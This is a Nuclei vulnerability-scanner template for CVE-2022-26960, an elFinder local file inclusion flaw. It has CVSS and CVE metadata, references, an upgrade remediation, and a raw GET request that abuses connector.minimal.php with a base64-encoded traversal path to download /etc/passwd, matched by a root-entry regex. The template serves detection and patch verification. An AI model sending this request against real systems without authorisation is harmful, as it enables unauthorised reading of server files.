nuclei-templates/http/cves/2022/CVE-2022-26960.yaml

47 lines
1.7 KiB
YAML

id: CVE-2022-26960
info:
name: elFinder <=2.1.60 - Local File Inclusion
author: pikpikcu
severity: critical
description: |
elFinder through 2.1.60 is affected by local file inclusion via connector.minimal.php. This allows unauthenticated remote attackers to read, write, and browse files outside the configured document root. This is due to improper handling of absolute file paths.
remediation: |
Upgrade elFinder to version 2.1.61 or later to mitigate this vulnerability.
reference:
- https://www.synacktiv.com/publications/elfinder-the-story-of-a-repwning.html
- https://github.com/Studio-42/elFinder/commit/3b758495538a448ac8830ee3559e7fb2c260c6db
- https://www.synacktiv.com/publications.html
- https://nvd.nist.gov/vuln/detail/CVE-2022-26960
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
cvss-score: 9.1
cve-id: CVE-2022-26960
cwe-id: CWE-22
epss-score: 0.88417
epss-percentile: 0.98391
cpe: cpe:2.3:a:std42:elfinder:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: std42
product: elfinder
tags: cve,cve2022,lfi,elfinder
http:
- raw:
- |
GET /elfinder/php/connector.minimal.php?cmd=file&target=l1_<@base64>/var/www/html/elfinder/files//..//..//..//..//..//../etc/passwd<@/base64>&download=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a0046304402203cbe417ae43d414a3f058325b6ff0a9a1567010a614bef336ac44db3c98a831a022051773b4cc34a0ea2831bb1bbd82a16c7acc5a474ef770570297f0e26d3dbacaf:922c64590222798bb761d5b6d8e72950